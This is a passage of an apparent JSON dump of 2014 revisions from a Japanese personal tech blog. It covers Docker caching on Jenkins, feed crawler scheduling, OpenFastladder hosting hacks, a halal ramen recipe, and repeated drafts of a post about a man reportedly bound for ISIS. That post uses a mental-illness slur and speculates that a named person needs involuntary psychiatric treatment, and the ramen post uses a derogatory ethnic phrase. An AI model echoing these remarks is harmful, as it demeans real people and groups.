フィード全文化\r\n - はてブコメント表示\r\n - その他いろいろ\r\n- 障害発生時などユーザーの使用状況を確認する可能性があります\r\n- その他一切の動作は保証されません\r\n- いきなり月額課金制とかに移行する可能性があります\r\n - その場合はそれなりにまともにいろいろ保証したり利用規約書いたりすることになるでしょう。","created_at":"2014-10-03T03:55:15.000Z","updated_at":"2014-10-03T03:55:15.000Z"},{"id":2739,"name":"text/最近存在してることを知った職業","body":"%blog%\r\n\r\n企業から依頼を受けて、その企業の技術者にインタビューをして、その企業の社員のふりをして技術ブログを書く仕事。\r\n\r\n結構、ギャラは高い。","created_at":"2014-10-03T11:11:58.000Z","updated_at":"2014-10-03T11:11:58.000Z"},{"id":2740,"name":"text/ハラル二郎研究会","body":"%blog%\r\n\r\n近年、家二郎界隈の新星として一部で注目を集める [shunirr](http://shunirr.hatenablog.jp/entry/2014/09/30/142906) さんを招いてハラル二郎研究会を行ないました。趣旨と目的は以下の通り。\r\n\r\nこの秋からイスラエルに行ってしまった素粒子物理学者の知人がおり、イスラエルでも食べられる二郎、具体的には豚由来の食材を一切使わない二郎を作成しよういうものです。カシュルート二郎ではなく、ハラル二郎という名前なのは、豚のかわりに牛や羊を使う二郎はハラルでもあるからです。\r\n\r\n### 実際の出来。\r\n羊牛入りラーメン ニンニクカラメ\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"2\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e\u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding-bottom:55%; padding-top:45%; text-align:center; width:100%;\"\u003e\u003cdiv style=\"position:relative;\"\u003e\u003cdiv style=\" -webkit-animation:dkaXkpbBxI 1s ease-out infinite; animation:dkaXkpbBxI 1s ease-out infinite; background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-44px; width:44px;\"\u003e\u003c/div\u003e\u003cspan style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:12px; font-style:normal; font-weight:bold; position:relative; top:15px;\"\u003e読み込み中\u003c/span\u003e\u003c/div\u003e\u003c/div\u003e\u003cp style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin:8px 0 0 0; padding:0 4px; word-wrap:break-word;\"\u003e 羊牛入りラーメン、背景緑なのはハラル二郎だからです\u003c/p\u003e\u003cp style=\" line-height:32px; margin-bottom:0; margin-top:8px; padding:0; text-align:center;\"\u003e \u003ca href=\"https://instagram.com/p/txJ10UPxCF/\" style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; text-decoration:none;\" target=\"_top\"\u003e Instagramで閲覧\u003c/a\u003e\u003c/p\u003e\u003c/div\u003e\u003cstyle\u003e@-webkit-keyframes\"dkaXkpbBxI\"{ 0%{opacity:0.5;} 50%{opacity:1;} 100%{opacity:0.5;} } @keyframes\"dkaXkpbBxI\"{ 0%{opacity:0.5;} 50%{opacity:1;} 100%{opacity:0.5;} }\u003c/style\u003e\u003c/blockquote\u003e\u003cscript async defer src=\"//platform.instagram.com/en_US/embeds.js\"\u003e\u003c/script\u003e\r\n\r\n### 構成要素\r\n- 麺は小野式製麺機を用いた自家製麺\r\n- スープは牛骨、ニンニク、ニンジン、ネギ、ショウガを十数時間煮たもの。途中あまりにも匂いがキツすぎたため八角も短時間投入している。\r\n- カエシはよくあるカエシ\r\n- 豚のかわりにマトンブロックと牛バラブロック。低温調理をしたものを再度醤油、みりんなどと共に温めたもの\r\n\r\n要するに、豚を牛や羊に置き換えた以外は、標準的な家二郎のレシピと言えるでしょう。\r\n\r\n### 味はどうか\r\n美味しい牛骨ラーメンという感じ。味の素を大量に入れた結果、わりと二郎っぽくはなっているので、二郎っぽさは本当に味の素に支えられているということを感じさせる(味の素さえ入れればよいというわけではない、それなりのスープに味の素を入れるのが重要なのは間違いない)。\r\n\r\n### 今後\r\nイスラエルはハイファを訪問し、ユダヤ野郎の核戦力強化を学問の面から間接的に支えている知人にこれをふるまいたいと思う。","created_at":"2014-10-05T13:06:26.000Z","updated_at":"2014-10-05T13:06:26.000Z"},{"id":2741,"name":"text/イスラム国に行こうとしてた(とされる人)について","body":"%blog%\r\n\r\n分かってる人は分かってるんですが分からない人には全然分からないみたいな事態になってると思うので簡単なまとめ。\r\n\r\n### 行こうとしてた人は誰?\r\nほわせぷさんという人です。\r\n\r\n### どんな人なの?\r\n阿佐ヶ谷のアジトというシェアハウスにたむろして非モテをこじらせてた人です。極左とかではない。\r\n\r\n### 報道にでてくる秋葉原に出てた求人って何?\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e再掲【開店情報】ニュー秋葉原センター内に古書店「星雲堂 秋葉PX」が4月1日オープン 医療用器具や謎の求人情報も発見 \u003ca href=\"http://t.co/Ovg3NiWlz3\"\u003ehttp://t.co/Ovg3NiWlz3\u003c/a\u003e \u003ca href=\"https://twitter.com/hashtag/akiba?src=hash\"\u003e#akiba\u003c/a\u003e \u003ca href=\"http://t.co/rzh5xFoaqa\"\u003epic.twitter.com/rzh5xFoaqa\u003c/a\u003e\u003c/p\u003e\u0026mdash; 1UP情報局 (@1up_news) \u003ca href=\"https://twitter.com/1up_news/status/454987766829293568\"\u003eApril 12, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n### まとめ\r\nこんなんで逮捕してる公安はただのバカなんじゃなかろうか。","created_at":"2014-10-07T01:15:07.000Z","updated_at":"2014-10-07T01:15:07.000Z"},{"id":2742,"name":"text/イスラム国に行こうとしてた(とされる人)について","body":"%blog%\r\n\r\n分かってる人は分かってるんですが分からない人には全然分からないみたいな事態になってると思うので簡単なまとめ。\r\n\r\n### 行こうとしてた人は誰?\r\nほわせぷさんという人です。\r\n\r\n### どんな人なの?\r\n阿佐ヶ谷のアジトというシェアハウスにたむろして非モテをこじらせてた人です。極左とかではない。\r\n\r\n### 報道にでてくる秋葉原に出てた求人って何?\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e再掲【開店情報】ニュー秋葉原センター内に古書店「星雲堂 秋葉PX」が4月1日オープン 医療用器具や謎の求人情報も発見 \u003ca href=\"http://t.co/Ovg3NiWlz3\"\u003ehttp://t.co/Ovg3NiWlz3\u003c/a\u003e \u003ca href=\"https://twitter.com/hashtag/akiba?src=hash\"\u003e#akiba\u003c/a\u003e \u003ca href=\"http://t.co/rzh5xFoaqa\"\u003epic.twitter.com/rzh5xFoaqa\u003c/a\u003e\u003c/p\u003e— 1UP情報局 (@1up_news) \u003ca href=\"https://twitter.com/1up_news/status/454987766829293568\"\u003eApril 12, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n","created_at":"2014-10-07T01:15:50.000Z","updated_at":"2014-10-07T01:15:50.000Z"},{"id":2743,"name":"text/イスラム国に行こうとしてた(とされる人)について","body":"%blog%\r\n\r\n分かってる人は分かってるんですが分からない人には全然分からないみたいな事態になってると思うので簡単なまとめ。\r\n\r\n### 行こうとしてた人は誰?\r\nほわせぷさんという人です。\r\n\r\n### どんな人なの?\r\n阿佐ヶ谷のアジトというシェアハウスにたむろして非モテをこじらせてた人です。極左とかではない。\r\n\r\n### 報道にでてくる秋葉原に出てた求人って何?\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e再掲【開店情報】ニュー秋葉原センター内に古書店「星雲堂 秋葉PX」が4月1日オープン 医療用器具や謎の求人情報も発見 \u003ca href=\"http://t.co/Ovg3NiWlz3\"\u003ehttp://t.co/Ovg3NiWlz3\u003c/a\u003e \u003ca href=\"https://twitter.com/hashtag/akiba?src=hash\"\u003e#akiba\u003c/a\u003e \u003ca href=\"http://t.co/rzh5xFoaqa\"\u003epic.twitter.com/rzh5xFoaqa\u003c/a\u003e\u003c/p\u003e— 1UP情報局 (@1up_news) \u003ca href=\"https://twitter.com/1up_news/status/454987766829293568\"\u003eApril 12, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n### 個人的な見解\r\n↑は単なる事実ですが以下は個人的な見解となります。\r\n\r\nほわせぷさんがシリアに行こうとしてたかというと、それはそうなんだと思います。恐らく中東へ向う航空券も持ってたんでしょう。ですが実態としてキチガイの悪ノリなのは明らかで、公安警察としてもどう扱ったらいいか分からんので逮捕してないということなんでしょう。\r\n\r\n現実問題として検察官送致して起訴したとして、公判維持できるとも思えませんし、かといってシリアに行こうとはしてたんでしょうから、措置入院の形で松沢病院に行ってもらって徹底的にパーソナリティ障害の治療を受けてもらうというのが落とし所としてはいいんじゃないかと思ってます。","created_at":"2014-10-07T02:04:20.000Z","updated_at":"2014-10-07T02:04:20.000Z"},{"id":2744,"name":"text/イスラム国に行こうとしてた(とされる人)について","body":"%blog%\r\n\r\n分かってる人は分かってるんですが分からない人には全然分からないみたいな事態になってると思うので簡単なまとめ。\r\n\r\n### 行こうとしてた人は誰?\r\nほわせぷさんという人です。\r\n\r\n### どんな人なの?\r\n阿佐ヶ谷のアジトというシェアハウスにたむろして非モテをこじらせてた人です。極左とかではない。\r\n\r\n#### 訂正\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/ssig33\"\u003e@ssig33\u003c/a\u003e 同じ拠点に非モテがたむろしてただけで本人はむしろモテるほうだと思われます\u003c/p\u003e\u0026mdash; 科学の子 (@uasi) \u003ca href=\"https://twitter.com/uasi/status/519323089394335745\"\u003eOctober 7, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n### 報道にでてくる秋葉原に出てた求人って何?\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e再掲【開店情報】ニュー秋葉原センター内に古書店「星雲堂 秋葉PX」が4月1日オープン 医療用器具や謎の求人情報も発見 \u003ca href=\"http://t.co/Ovg3NiWlz3\"\u003ehttp://t.co/Ovg3NiWlz3\u003c/a\u003e \u003ca href=\"https://twitter.com/hashtag/akiba?src=hash\"\u003e#akiba\u003c/a\u003e \u003ca href=\"http://t.co/rzh5xFoaqa\"\u003epic.twitter.com/rzh5xFoaqa\u003c/a\u003e\u003c/p\u003e— 1UP情報局 (@1up_news) \u003ca href=\"https://twitter.com/1up_news/status/454987766829293568\"\u003eApril 12, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n### 個人的な見解\r\n↑は単なる事実ですが以下は個人的な見解となります。\r\n\r\nほわせぷさんがシリアに行こうとしてたかというと、それはそうなんだと思います。恐らく中東へ向う航空券も持ってたんでしょう。ですが実態としてキチガイの悪ノリなのは明らかで、公安警察としてもどう扱ったらいいか分からんので逮捕してないということなんでしょう。\r\n\r\n現実問題として検察官送致して起訴したとして、公判維持できるとも思えませんし、かといってシリアに行こうとはしてたんでしょうから、措置入院の形で松沢病院に行ってもらって徹底的にパーソナリティ障害の治療を受けてもらうというのが落とし所としてはいいんじゃないかと思ってます。","created_at":"2014-10-07T03:07:43.000Z","updated_at":"2014-10-07T03:07:43.000Z"},{"id":2745,"name":"text/イスラム国に行こうとしてた(とされる人)について","body":"%blog%\r\n\r\n分かってる人は分かってるんですが分からない人には全然分からないみたいな事態になってると思うので簡単なまとめ。\r\n\r\n### 行こうとしてた人は誰?\r\nほわせぷさんという人です。\r\n\r\n### どんな人なの?\r\n阿佐ヶ谷のアジトというシェアハウスにたむろして非モテをこじらせてた人です。極左とかではない。\r\n\r\n#### 訂正\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/ssig33\"\u003e@ssig33\u003c/a\u003e 同じ拠点に非モテがたむろしてただけで本人はむしろモテるほうだと思われます\u003c/p\u003e\u0026mdash; 科学の子 (@uasi) \u003ca href=\"https://twitter.com/uasi/status/519323089394335745\"\u003eOctober 7, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n### 報道にでてくる秋葉原に出てた求人って何?\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e再掲【開店情報】ニュー秋葉原センター内に古書店「星雲堂 秋葉PX」が4月1日オープン 医療用器具や謎の求人情報も発見 \u003ca href=\"http://t.co/Ovg3NiWlz3\"\u003ehttp://t.co/Ovg3NiWlz3\u003c/a\u003e \u003ca href=\"https://twitter.com/hashtag/akiba?src=hash\"\u003e#akiba\u003c/a\u003e \u003ca href=\"http://t.co/rzh5xFoaqa\"\u003epic.twitter.com/rzh5xFoaqa\u003c/a\u003e\u003c/p\u003e— 1UP情報局 (@1up_news) \u003ca href=\"https://twitter.com/1up_news/status/454987766829293568\"\u003eApril 12, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n### 個人的な見解\r\n↑は単なる事実ですが以下は個人的な見解となります。\r\n\r\nほわせぷさんがシリアに行こうとしてたかというと、それはそうなんだと思います。恐らく中東へ向う航空券も持ってたんでしょう。ですが実態としてキチガイの悪ノリなのは明らかで、公安警察としてもどう扱ったらいいか分からんので逮捕してないということなんでしょう。\r\n\r\n現実問題として検察官送致して起訴したとして、公判維持できるとも思えませんし、かといってシリアに行こうとはしてたんでしょうから、措置入院の形で松沢病院に行ってもらって徹底的にパーソナリティ障害の治療を受けてもらうというのが落とし所としてはいいんじゃないかと思ってます。","created_at":"2014-10-07T03:07:55.000Z","updated_at":"2014-10-07T03:07:55.000Z"},{"id":2746,"name":"text/イスラム国に行こうとしてた(とされる人)について","body":"%blog%\r\n\r\n分かってる人は分かってるんですが分からない人には全然分からないみたいな事態になってると思うので簡単なまとめ。\r\n\r\n### 行こうとしてた人は誰?\r\nほわせぷさんという人です。\r\n\r\n### どんな人なの?\r\n阿佐ヶ谷のアジトというシェアハウスにたむろして非モテをこじらせてた人です。極左とかではない。\r\n\r\n#### 訂正\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/ssig33\"\u003e@ssig33\u003c/a\u003e 同じ拠点に非モテがたむろしてただけで本人はむしろモテるほうだと思われます\u003c/p\u003e— 科学の子 (@uasi) \u003ca href=\"https://twitter.com/uasi/status/519323089394335745\"\u003eOctober 7, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e非モテをこじらせた人が昔はやっていたけど今となっては何なのかよくわからない集まりにたむろしていた人というのが妥当そうな感じする\u003c/p\u003e\u0026mdash; ここには小銭しかない (@fuba) \u003ca href=\"https://twitter.com/fuba/status/519323504919867394\"\u003eOctober 7, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n### 報道にでてくる秋葉原に出てた求人って何?\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e再掲【開店情報】ニュー秋葉原センター内に古書店「星雲堂 秋葉PX」が4月1日オープン 医療用器具や謎の求人情報も発見 \u003ca href=\"http://t.co/Ovg3NiWlz3\"\u003ehttp://t.co/Ovg3NiWlz3\u003c/a\u003e \u003ca href=\"https://twitter.com/hashtag/akiba?src=hash\"\u003e#akiba\u003c/a\u003e \u003ca href=\"http://t.co/rzh5xFoaqa\"\u003epic.twitter.com/rzh5xFoaqa\u003c/a\u003e\u003c/p\u003e— 1UP情報局 (@1up_news) \u003ca href=\"https://twitter.com/1up_news/status/454987766829293568\"\u003eApril 12, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n### 個人的な見解\r\n↑は単なる事実ですが以下は個人的な見解となります。\r\n\r\nほわせぷさんがシリアに行こうとしてたかというと、それはそうなんだと思います。恐らく中東へ向う航空券も持ってたんでしょう。ですが実態としてキチガイの悪ノリなのは明らかで、公安警察としてもどう扱ったらいいか分からんので逮捕してないということなんでしょう。\r\n\r\n現実問題として検察官送致して起訴したとして、公判維持できるとも思えませんし、かといってシリアに行こうとはしてたんでしょうから、措置入院の形で松沢病院に行ってもらって徹底的にパーソナリティ障害の治療を受けてもらうというのが落とし所としてはいいんじゃないかと思ってます。","created_at":"2014-10-07T03:09:57.000Z","updated_at":"2014-10-07T03:09:57.000Z"},{"id":2747,"name":"text/Jenkins で docker build する話","body":"%blog% Jenkins で Rails アプリを docker build する話\r\n\r\nRails アプリを Docker で稼動させる際に、 Gemfile と Gemfile.lock を先に ADD して bundle install してからアプリケーション全体を ADD することで、 bundle install の結果をキャッシュする手法はよく知られています。\r\n\r\n```\r\nADD Gemfile /app/Gemfile.lock\r\nADD Gemfile /app/Gemfile\r\nWORKDIR /apps\r\nRUN bundle -j4 \r\nADD . /app\r\n```\r\n\r\nこういうやつ。\r\n\r\nところがこの手法は Jenkins のように毎回リポジトリが clean にチェックアウトされる環境では全く無効です。\r\n\r\n何故なら、 Docker は ADD するファイルが更新されているかどうかを、ファイルの中身そのものではなく、タイムスタンプなどのメタデータで確認しているからです。 git checkout とかされちゃうとタイムスタンプが書き換えられてファイルが更新されたと判定されて毎回 bundle install されてしまいます。\r\n\r\nこれでは毎回 docker build に物凄く時間がかかってしまう。\r\n\r\nですが先に述べた通り、 Docker ではファイルの更新をメタデータで管理しているので、 docker build の前に毎回\r\n\r\n``` sh\r\ntouch -t 201412121212.12 Gemfile\r\ntouch -t 201412121212.12 Gemfile.lock\r\n```\r\n\r\nしてしまえば問題ないです。 Gemfile や Gemfile.lock が実際に更新されている場合はファイルサイズなど他の要素も変わりますから、大丈夫です。 Gemfile 以外にも ADD しているものがあり、 ADD をなるべくキャッシュしたいという場合は、それらも touch してしまいましょう。\r\n\r\nこれにより Jenkins 上で高速に docker build 出来るようになって生活が豊かになります。","created_at":"2014-10-07T08:18:58.000Z","updated_at":"2014-10-07T08:18:58.000Z"},{"id":2748,"name":"text/クローラー運用について","body":"%blog%\r\n\r\n1. fl.ssig33.com を公開した\r\n2. LDR ユーザーの中で ssig33.com を読むような人達は蛮族だった\r\n3. 15 万フィードほどいきなりクロールすることになった\r\n\r\nという問題が発生しました。以下やった対処。\r\n\r\n1. クローラの UA に連絡先を入れる\r\n - これ多分一番重要\r\n2. 並列クロールするようにする\r\n - 同じドメインは並列にクロールしない\r\n - このドメインとこのドメインは並列にクロールしないみたいなブラックリストも作る\r\n - ドメイン違うけど裏側は一緒っぽいみたいのをアレするため\r\n - 手作業でリスト作るのもだるいので IP アドレス一緒だったドメインを全部ぶっこんだ\r\n3. 更新頻度が低いフィードのクロール頻度を下げた\r\n - 更新頻度の 1/2 もしくは 2 週間に 1 度のうち、頻度の高い方をクロール頻度とした\r\n - これで全然更新されてないやつは 2 週間に 1 度のクロールとした\r\n - さらに、クロールした結果フィードが更新された場合、かつ更新頻度からの次回クロールが 2 日以上先に設定されていた場合、翌日もクロールするようにした\r\n - これにより、長らく更新されてなかったブログがいきなり高頻度で更新されるようになってもある程度カバー出来るようになった(はず)","created_at":"2014-10-13T00:22:36.000Z","updated_at":"2014-10-13T00:22:36.000Z"},{"id":2749,"name":"text/クローラー運用について","body":"%blog%\r\n\r\n1. fl.ssig33.com を公開した\r\n2. LDR ユーザーの中で ssig33.com を読むような人達は蛮族だった\r\n3. 15 万フィードほどいきなりクロールすることになった\r\n\r\nという問題が発生しました。以下やった対処。\r\n\r\n1. クローラの UA に連絡先を入れる\r\n - これ多分一番重要\r\n2. 並列クロールするようにする\r\n - 同じドメインは並列にクロールしない\r\n - このドメインとこのドメインは並列にクロールしないみたいなブラックリストも作る\r\n - ドメイン違うけど裏側は一緒っぽいみたいのをアレするため\r\n - 手作業でリスト作るのもだるいので IP アドレス一緒だったドメインを全部ぶっこんだ\r\n3. 更新頻度が低いフィードのクロール頻度を下げた\r\n - 更新頻度の 1/2 もしくは 2 週間に 1 度のうち、頻度の高い方をクロール頻度とした\r\n - これで全然更新されてないやつは 2 週間に 1 度のクロールとした\r\n - さらに、クロールした結果フィードが更新された場合、かつ更新頻度からの次回クロールが 2 日以上先に設定されていた場合、翌日もクロールするようにした\r\n - これにより、長らく更新されてなかったブログがいきなり高頻度で更新されるようになってもある程度カバー出来るようになった(はず)","created_at":"2014-10-13T00:22:52.000Z","updated_at":"2014-10-13T00:22:52.000Z"},{"id":2750,"name":"text/クローラー運用について","body":"%blog%\r\n\r\n1. fl.ssig33.com を公開した\r\n2. LDR ユーザーの中で ssig33.com を読むような人達は蛮族だった\r\n3. 15 万フィードほどいきなりクロールすることになった\r\n\r\nという問題が発生しました。以下やった対処。\r\n\r\n1. クローラの UA に連絡先を入れる\r\n - これ多分一番重要\r\n2. 並列クロールするようにする\r\n - 同じドメインは並列にクロールしない\r\n - このドメインとこのドメインは並列にクロールしないみたいなブラックリストも作る\r\n - ドメイン違うけど裏側は一緒っぽいみたいのをアレするため\r\n - 手作業でリスト作るのもだるいので IP アドレス一緒だったドメインを全部ぶっこんだ\r\n3. 更新頻度が低いフィードのクロール頻度を下げた\r\n - 更新頻度の 1/2 もしくは 2 週間に 1 度のうち、頻度の高い方をクロール頻度とした\r\n - これで全然更新されてないやつは 2 週間に 1 度のクロールとした\r\n - さらに、クロールした結果フィードが更新された場合、かつ更新頻度からの次回クロールが 2 日以上先に設定されていた場合、翌日もクロールするようにした\r\n - これにより、長らく更新されてなかったブログがいきなり高頻度で更新されるようになってもある程度カバー出来るようになった(はず)","created_at":"2014-10-13T00:23:33.000Z","updated_at":"2014-10-13T00:23:33.000Z"},{"id":2751,"name":"text/OpenFastladder ホスティングハック","body":"%blog% OpenFastladder ホスティングをする上でのダーティーなハック\r\n\r\n[fl.ssig33.com](http://fl.ssig33.com) の運用シリーズ。[前回のクローラの記事](http://ssig33.com/text/%E3%82%AF%E3%83%AD%E3%83%BC%E3%83%A9%E3%83%BC%E9%81%8B%E7%94%A8%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6)に書かなかったこと。\r\n\r\nOpenFastladder にはいくつか致命的なパフォーマンス上のボトルネックとなるコードがあります。一人で立てて一人で使う分には大抵問題になりませんが、使う人が増えてくると厳しくなってきます。\r\n\r\nですから、それらを潰す方法を紹介します。僕のとった対策はどれもとても最悪な対策で、抜本的な対策を思いついた人は、 fastladder/fastladder に PR を出してもらえると泣いて喜びます。\r\n\r\n※この記事は[このリビジョン](https://github.com/fastladder/fastladder/commit/4dd421c72cb7f5ba8f019d41fbafb2346a796ced)時の情報です。\r\n\r\n### 1. 購読フィード一覧の取得が大変に重い\r\n- [ApiController#L71](https://github.com/fastladder/fastladder/blob/4dd421c72cb7f5ba8f019d41fbafb2346a796ced/app/controllers/api_controller.rb#L71)\r\n\r\nここです。標準でこの API は購読フィードを 100 件ずつ取得していきます。ですから[この箇所](https://github.com/fastladder/fastladder/blob/4dd421c72cb7f5ba8f019d41fbafb2346a796ced/app/controllers/api_controller.rb#L78)のせいで API を一回叩くごとに 100 回 SQL が発行されます。\r\n\r\n個人で使う場合はこれくらい問題ないのですが、ホスティングする場合は対策した方がよいです。\r\n\r\n#### 対処\r\n- api#subs の内容をキャッシュするバッチを作って全ユーザーに大して延々とキャッシュさせ続ける\r\n - ユーザーがアクセスしてきたりして、未読フィードが既読フィードになるタイミングなどでキャッシュは飛しましょう\r\n- [読み込み件数の設定](https://github.com/fastladder/fastladder/blob/4dd421c72cb7f5ba8f019d41fbafb2346a796ced/app/assets/javascripts/lib/models/pref.js#L8)を大きめにしておく\r\n - subs は最初に 100 件取得したら、その最後の Subscription の id から次のページを取得するので、原理的に 2 ページ目以降のキャッシュは困難です。よってキャッシュできる 1 ページ目をなるべく大きくしておきましょう。キャッシュするのだから大きくても大丈夫。\r\n - 無論 1 ページ目があまりにも大きすぎるとキャッシュ作成のコストが大きくなりすぎるかもしれませんから、ユーザビリティとそのあたりのコストは随時測定する\r\n\r\n### 2. OPML の読み込みが重い\r\n- [ImportController](https://github.com/fastladder/fastladder/blob/4dd421c72cb7f5ba8f019d41fbafb2346a796ced/app/controllers/import_controller.rb)\r\n\r\nOPML の読み込みは、アクションの最中にアップロードされた OPML の分だけフィードが実在しているか探索します。これはお話にならないコードで、個人で使う分でも十分不都合があります。\r\n\r\n#### 対処\r\ndelayed\\_job\\_active\\_record を使って、 OPML の読み込みを非同期化した。バックグラウンドジョブに回された都合、確認画面を出すことが出来ないので、アップロードされた OPML 内のフィードは問答無用で全部購読するようにした。\r\n\r\n## まとめ\r\nこの世は地獄だ","created_at":"2014-10-14T05:16:03.000Z","updated_at":"2014-10-14T05:16:03.000Z"},{"id":2752,"name":"text/OpenFastladder ホスティングハック","body":"%blog% OpenFastladder ホスティングをする上でのダーティーなハック\r\n\r\n[fl.ssig33.com](http://fl.ssig33.com) の運用シリーズ。[前回のクローラの記事](http://ssig33.com/text/%E3%82%AF%E3%83%AD%E3%83%BC%E3%83%A9%E3%83%BC%E9%81%8B%E7%94%A8%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6)に書かなかったこと。\r\n\r\nOpenFastladder にはいくつか致命的なパフォーマンス上のボトルネックとなるコードがあります。一人で立てて一人で使う分には大抵問題になりませんが、使う人が増えてくると厳しくなってきます。\r\n\r\nですから、それらを潰す方法を紹介します。僕のとった対策はどれもとても最悪な対策で、抜本的な対策を思いついた人は、 fastladder/fastladder に PR を出してもらえると泣いて喜びます。\r\n\r\n※この記事は[このリビジョン](https://github.com/fastladder/fastladder/commit/4dd421c72cb7f5ba8f019d41fbafb2346a796ced)時の情報です。\r\n\r\n### 1. 購読フィード一覧の取得が大変に重い\r\n- [ApiController#L71](https://github.com/fastladder/fastladder/blob/4dd421c72cb7f5ba8f019d41fbafb2346a796ced/app/controllers/api_controller.rb#L71)\r\n\r\nここです。標準でこの API は購読フィードを 100 件ずつ取得していきます。ですから[この箇所](https://github.com/fastladder/fastladder/blob/4dd421c72cb7f5ba8f019d41fbafb2346a796ced/app/controllers/api_controller.rb#L78)のせいで API を一回叩くごとに 100 回 SQL が発行されます。\r\n\r\n個人で使う場合はこれくらい問題ないのですが、ホスティングする場合は対策した方がよいです。\r\n\r\n#### 対処\r\n- api#subs の内容をキャッシュするバッチを作って全ユーザーに大して延々とキャッシュさせ続ける\r\n - ユーザーがアクセスしてきたりして、未読フィードが既読フィードになるタイミングなどでキャッシュは飛しましょう\r\n- [読み込み件数の設定](https://github.com/fastladder/fastladder/blob/4dd421c72cb7f5ba8f019d41fbafb2346a796ced/app/assets/javascripts/lib/models/pref.js#L8)を大きめにしておく\r\n - subs は最初に 100 件取得したら、その最後の Subscription の id から次のページを取得するので、原理的に 2 ページ目以降のキャッシュは困難です。よってキャッシュできる 1 ページ目をなるべく大きくしておきましょう。キャッシュするのだから大きくても大丈夫。\r\n - 無論 1 ページ目があまりにも大きすぎるとキャッシュ作成のコストが大きくなりすぎるかもしれませんから、ユーザビリティとそのあたりのコストは随時測定する\r\n\r\n### 2. OPML の読み込みが重い\r\n- [ImportController](https://github.com/fastladder/fastladder/blob/4dd421c72cb7f5ba8f019d41fbafb2346a796ced/app/controllers/import_controller.rb)\r\n\r\nOPML の読み込みは、アクションの最中にアップロードされた OPML の分だけフィードが実在しているか探索します。これはお話にならないコードで、個人で使う分でも十分不都合があります。\r\n\r\n#### 対処\r\ndelayed\\_job\\_active\\_record を使って、 OPML の読み込みを非同期化した。バックグラウンドジョブに回された都合、確認画面を出すことが出来ないので、アップロードされた OPML 内のフィードは問答無用で全部購読するようにした。\r\n\r\n### 3. フィードを新規購読できない\r\n#### 対処\r\n\u003cscript src=\"https://gist.github.com/ssig33/3594fc24e532e8828e9c.js\"\u003e\u003c/script\u003e\r\n\r\n\r\n## まとめ\r\nこの世は地獄だ","created_at":"2014-10-14T06:59:11.000Z","updated_at":"2014-10-14T06:59:11.000Z"},{"id":2753,"name":"text/テンプレートエンジン Night 